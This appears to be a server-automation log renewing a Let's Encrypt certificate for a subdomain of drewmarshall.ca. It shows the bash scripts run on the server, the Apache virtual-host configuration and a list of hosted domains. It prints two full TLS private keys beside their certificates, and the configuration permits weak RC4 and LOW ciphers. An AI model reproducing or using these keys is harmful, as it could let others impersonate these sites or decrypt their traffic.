VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQpjBdDXtvgFfXbdKRi5YtqL90ZTDAfBgNVHSME
GDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHByZWFj
aGVyaWRvbC5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYD
VR0fBCYwJDAioCCgHoYcaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8yLmNybDCCAQMG
CisGAQQB1nkCBAIEgfQEgfEA7wB1ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAF
hOvlhiY6AAABmR2ePZkAAAQDAEYwRAIgDW/8KnItQY9fDgE9SSlb7PJnpOVpRXge
tssAwMvpEOoCIFu5xLB9UzoIMed84hUAEAwZEXrcuqsSPHdOUSazEfzEAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZHZ5FZgAABAMARzBFAiEA
pEdRei1Gtq1pUXIvoMMVhezybc5JkBLWC+8HAQ/yF8gCIH52l8W0htYFhlNG3UbO
afQLEEQTXaMfXUtSG2OvS7VBMA0GCSqGSIb3DQEBCwUAA4IBAQCANodXWKDyMDjn
ZC2SWxQJuaviPBciCyelTFTGN+iZOZ1n2vCBtSET0cT5UW8ChFxVoCOpT6R9YgcA
J5SQ6LM1nEdOczLQSXDBxP0ngJ6vurlA1uZNczG1foyVXZHXPLcAfgTRTExtJITV
NotXJCPXOMAJgIip0UdLUYOzSrJ0OZk9HIMHA8Zfk8AMyleXeSy/BdXDtS80y+rE
DWkhstjGyG+1+3GI6pigHu+rHmYNdUnHvZvKdhOfyOvm5R+qDiSqYrK+4L9dt4QL
YgcutnXMYeM9dLf739nBbvHbFF7Hl6burJ6zOx9dPlHhQX4G+VbTpgii4EFkI2R5
TfOon47l
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHPp0DNsrMobcT
kr45VgmluQ7jOrZ42uBefdf/OXSqKgjbKlHldRaUlLc0ztOAjfHvk8Ncmqk+DwjV
Zsexs7QUJpdYb+iXBG9vVM8H0yy2Kb7GXHXzfCvHUm918xSYHre+5yhidzSvBlBg
gD9Ak8y4cbFwvN4XqkSdvM8WLBTUxj4m4LBF8fIa/6iYM4uqWNlTv00Sokm0WbfS
4u92P32isU5O5fzWMZoFi2dxWe20lEoNcwAVXaA0x4glEjwzdrzDcUHjX9+wKPCq
vlRlCzHDnedLPtyweBOrftnG1g9cYFqyy/4mWZ+wncB1jvFvygPtmoR9TSWUQU/3
GXtVLURTAgMBAAECggEBAKldmyBpShiKetJjkdmxPkAmP/Z+KTAwdjs8ZAhrMbWY
R7Dtl3IihtBEXjvAeF81yeuqQo4MVkMPiqXEWYm/xRq/9zTQ4/jDZ2pOwDHZm485
ixaY8BbKfXhQpbiwqdfpfK4FVvnkdN820cpGGf5t5L8AviGkGnIpZWxkW/BwBkEa
xuDW0gxQVZ9muuOo4RgJvSMC/KrF7mDLBSMntLajtCwEnnhmEyZZz/tlnMnm+v0h
Bq7AdyG7jAjGTHKAJVXvAFIrHWdaGFRao3BUvXaB2WKoPZ9d+4Jww1lE5rx4IV95
Flt7/aPxtoFMFS4S0Lvynawn6fN6sIs+AJ2asz403ZECgYEA6zVOKPzrI/EZAlmb
T78cGG0bxo/g1zXb1bRzEkmmsqJPpbk74OQEwKuAE5aDhDBDdHhn+X3TVIhhYsG+
mprsh7uED2YUTWJ0kiwtLtHI8mIB2GCUWSHzFfP9a7y9Fk4Xp3K3kB48wYkrgh36
XCapsJQmoT14gJInGFTDkGOvSYkCgYEA2Nt2DUZN7VzIf4zbwQlBL+uM8z3PO4M0
ZmhmL9VAfYtUrK79xyt4O8hCjZjb8zSftYM3mcwQ6V+smaxVjrMYOCjawhq8wo6K
N6HMYsY/M44jzWhi5YbYFZuQoY9x3q0Lj3bKOWW3sgenOailcIrrl3GZLGxXqnaR
ZuFard9DE/sCgYEA4yITu0MZ8xhk1T8g2y6q+++JTgMs1cZd5w4dvUBAaOqSzW+G
IlMvP7udr8y+bg2JZlTL20Mlq9ETciG0ZWpMFXsAOTqTSnNULL/aVgch7Oa173S8
bSJ6su1uAPc/BeYds4b1OofoleBXkoxOc2Smoy097KEG1+nLNRTN0YZiBDkCgYAN
3UoY4yvMRyhSb1EFcHAIfkjOrF75cRQCkB4oZLvwyt2pBK8Y8sCHIfCPWPyG+hBT
7IW7gX57TTCdypTVwMGFpacGzerPjYlssR1+GyqjQy0qzsez4QEjsIR4r9EZ6XpZ
u8CGFui9qxuX5h5dqaQSVKL0YiDgtx/osfO4NhP1zQKBgGRd1s5k/6sdvbC0QH3j
TAoGV3y3Guh+rCniYDjjaReCfJnW87J9pnz6fxfJWwW3ZkP018PcVfI3rTlTKAC2
EMttrALibnyhqmU6SgE8iBaghJx/HRAUv3eTX6rvEVYHHSVYr2Tw9faft/hLTtrB
bab2Tw3blH/nSODb3X+FpzRl
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-06 06:02:17: Establishing a connection
2025-09-06 06:02:17: Establishing a connection
2025-09-06 06:02:17: 

PUT: /tmp/pkp422723

#!/bin/bash
if [ -d "/var/www/drewmarshall_datinggame/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-06 06:02:18: 

chmod 755 /tmp/pkp422723; /tmp/pkp422723; rm /tmp/pkp422723

2025-09-06 06:02:18: 


1


2025-09-06 06:02:18: Establishing a connection
2025-09-06 06:02:18: 

PUT: /tmp/pkp145111

#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cat > tAVc0rvWb8SaGpCHbaoJVLzdCfCkC3kIvdBPebQa3-w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
tAVc0rvWb8SaGpCHbaoJVLzdCfCkC3kIvdBPebQa3-w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 tAVc0rvWb8SaGpCHbaoJVLzdCfCkC3kIvdBPebQa3-w


2025-09-06 06:02:18: 

chmod 755 /tmp/pkp145111; /tmp/pkp145111; rm /tmp/pkp145111

2025-09-06 06:02:18: 




2025-09-06 06:02:26: Establishing a connection
2025-09-06 06:02:26: 

PUT: /tmp/pkp373693

#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
rm tAVc0rvWb8SaGpCHbaoJVLzdCfCkC3kIvdBPebQa3-w


2025-09-06 06:02:26: 

chmod 755 /tmp/pkp373693; /tmp/pkp373693; rm /tmp/pkp373693

2025-09-06 06:02:26: 




2025-09-06 06:02:26: Establishing a connection
2025-09-06 06:02:26: 

PUT: /tmp/pkp952051

#!/bin/bash
temp_file=$(mktemp)
TARGET=23de9e4d8d79bf04b5d6fc34a21a5b07.crt

cat > $temp_file <<'endmsg'
f4:72:73:5e:54:28:01:6e:1c:8b:95:94:9a:9f:5d:34

-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBapWMGre/loGfnyA6kln7fUaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzUzWhcNMjUxMjA1MDUwMzUyWjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALWvJjUCQSCzoMTMTiLodLxx3uiLvSdWkpcs9q6YwkklqhY2
oRoiuGwdPea3cJTGf35HimTa6Mhd95QRPlXTHXToIXeU6B2QocsfhiD8NGJ1q91b
U+7Jb6yLznzNou3N/qchXkuM64QOhQMwyIAkatES2SngfmhOuSETyxhxmHIeI2J6
emhY6vbRd/hNnfS32WY4rMzEa+IrU5hQLP/Fz+rsLT439KLzW12e+HtmUjq+XNcB
jdHVtowwKvwE/+vpSlhCXVMhHbls99MYo7FbF8EmVPqhyWHq+tqijkfD1ixSdDDM
l1soo4nn4EEEskEjtEl2Nrxxld7dz0hPZDHJCtUCAwEAAaOCAiowggImMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUOWmJjCMDAL3vPAWt1OYCVYPxpJ8wHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpkYXRpbmdn
YW1lLmRyZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzI3LmNybDCCAQQGCisG
AQQB1nkCBAIEgfUEgfIA8AB2ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvl
hiY6AAABmR2eZBQAAAQDAEcwRQIgFJJjzgfsBzqvMrSvIY0ulgfaemCfnFJcddsx
lGSxnPoCIQDZ6jW9if9KIpGkbelU/taMWgPIQXiALa1pgu9KMxa54AB2AMz7D2qF
cQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAABmR2ea/QAAAQDAEcwRQIhAKIj
Tx0JV1Q7egcYoRV4M6LpW/sq3B3GuhMT8YNarf5JAiAPxDPcYaPMjtpl1SfnuspC
xEbAL65/2e5n3xrjR7j/+TANBgkqhkiG9w0BAQsFAAOCAQEAhCaVqdeYUyiKu68C
QQh9EpzNXer3tNt60IINoZP1kVjIcQ8IS7m8RAwiSo/Ij3F0LEO0HY6iRSPJDmOw
KWcItlkIa69+6sj3vfyWHnVyb5gEyUji4aZe0OoUv1F7AACX6lMq9hOTFufGZO+I
eqKHQ2mjve5f1XnvZ359guA2wUcs9EDhBsd89U6hoaMC/+/i96H7sTzIUCoWbXUk
LkM0a7gDk6YswQXfUffoFOV74CTb5jFSNab2OnVtUEptOBWJXg8h90hg1ily+rgF
WTXKEoD0W0Bux6LGKRMS0Bsq0f5a5sK/QGaIiFFbYRpMMpwyqtKoyBaP9IzWVnBP
k1ibvA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1ryY1AkEgs6DE
zE4i6HS8cd7oi70nVpKXLPaumMJJJaoWNqEaIrhsHT3mt3CUxn9+R4pk2ujIXfeU
ET5V0x106CF3lOgdkKHLH4Yg/DRidavdW1PuyW+si858zaLtzf6nIV5LjOuEDoUD
MMiAJGrREtkp4H5oTrkhE8sYcZhyHiNienpoWOr20Xf4TZ30t9lmOKzMxGviK1OY
UCz/xc/q7C0+N/Si81tdnvh7ZlI6vlzXAY3R1baMMCr8BP/r6UpYQl1TIR25bPfT
GKOxWxfBJlT6oclh6vraoo5Hw9YsUnQwzJdbKKOJ5+BBBLJBI7RJdja8cZXe3c9I
T2QxyQrVAgMBAAECggEAPo2DNhUEn2G5JIjDDjnCl28NNDuIcJbZ+bq9Y/esTMru
+J7ucLUrke2vdlQKKu78zlmLSJYmN3ZC23PkZmA9cBbMDwPxttwpGGpOH+U1lAC3
n4rmJvyruliYS1fxlLarypcuhAyMufbVzPdq0NO5AyreIhDs9LTGAKFz94KE3iT1
pUlOgrv/utf5a2xJMxOkXtS+XokpNBpNZgC1p2EyyhGhOUl2DK7aKTRV13qYZnAb
h1gBYKP2Ebk2KDNg6S8dbfaf/F00SZq3LNHSihd9UTiM1OXTLKUS/ltUDJgWNC0L
tJE0eJp0wltsevcsqcxOVO7k76FJIglHmTfOAcfVgQKBgQDf8dyupanpcigm9lTh
9Jx7UbkClsOb1TaxOAjm/jF7QtlCeX5v+7GBrv9V2ilkHKtx8dPDAfeVIEGt6tHi
1pyuOWaasTlV8tngVMnioBNpirl3OsGHBpYGQ3eNNbbH1nMJUATKix2SLLUNIp/Q
A5gPGQXEWjKpMtW4qgfauGmmrQKBgQDPsLUrhB5kDkNXDOOriLJ+9DgssUQeAKml
acjjb3ZanCI4BV0VIBltlN0X5isYrJFUXokjWFD2MuUBS1yrwgXf//Pho8xFf1YL
SnhU1RSWScg+CKN96lPqbm8YZdMd5gO5dh9Uh6Atfd8bqFBgEuAZiN/5gLehzKJH
JhG5BDiByQKBgQDNmFeZA0B9sK9KLeZ51z9+O+XViaIlw9ZFVwNdRksZNaMOU0oP
9wvc2lNSd0p+vY9sua5HHtw0zXte9vEgBxWrIcmgBUp1LNJ4EH+UDpAj2hcxbgDU
POio8XGlc4XN64SLLSpo5NUOKPtDBuGfcF0+pyNTQ9e03JW3xmoVlC5ytQKBgG4p
os9EMwKLdjiUQ6bWyScBz1IVbLYlT9bHd6D7nGGPc68XWTo9Xn97eJKWqcFat3Ny
+Xbf/4G3mTTIjo0kSw13rBrBUTaDxlYS2CTXKSZWWHpfBqlhQ8WTciYUzJiNSuhy
uUeS8OlwXIlFC+0J1gh1S6gCGGUgL+thTAFBNd/RAoGBANpgKGIFJ4WAn4zYHhsP
LSTWYWxJEms/kPf7hGY2dnQFAt066pO2dELkQJBQIBjSE0l5kUrypYPZEcMgg3ol
oNut3OWb6yLtRLIfk0EnAkwu15ZOVvqqz+cVI1rLeOCdqSQfX1DItRxC9tl78E0f
o5yH8LcPAe6LwZ9wjDifiAax
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-06 06:02:26: 

chmod 755 /tmp/pkp952051; /tmp/pkp952051; rm /tmp/pkp952051

2025-09-06 06:02:26: 


dir=/etc/ssl/certs


2025-09-06 06:02:26: 

PUT: /tmp/pkp899850

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-06 06:02:26: 

chmod 755 /tmp/pkp899850; /tmp/pkp899850; rm /tmp/pkp899850

2025-09-06 06:02:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf 50

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-06 06:02:26: 

PUT: /tmp/pkp937647

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_datinggame_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf= 1'
fi


2025-09-06 06:02:26: 

chmod 755 /tmp/pkp937647; /tmp/pkp937647; rm /tmp/pkp937647

2025-09-06 06:02:26: 




2025-09-06 06:02:26: 

PUT: /tmp/pkp972830

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-06 06:02:26: 

chmod 755 /tmp/pkp972830; /tmp/pkp972830; rm /tmp/pkp972830

2025-09-06 06:02:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:02:26: Establishing a connection
2025-09-06 06:02:27: 

PUT: /tmp/pkp936462

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-06 06:02:27: 

chmod 755 /tmp/pkp936462; /tmp/pkp936462; rm /tmp/pkp936462

2025-09-06 06:02:27: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
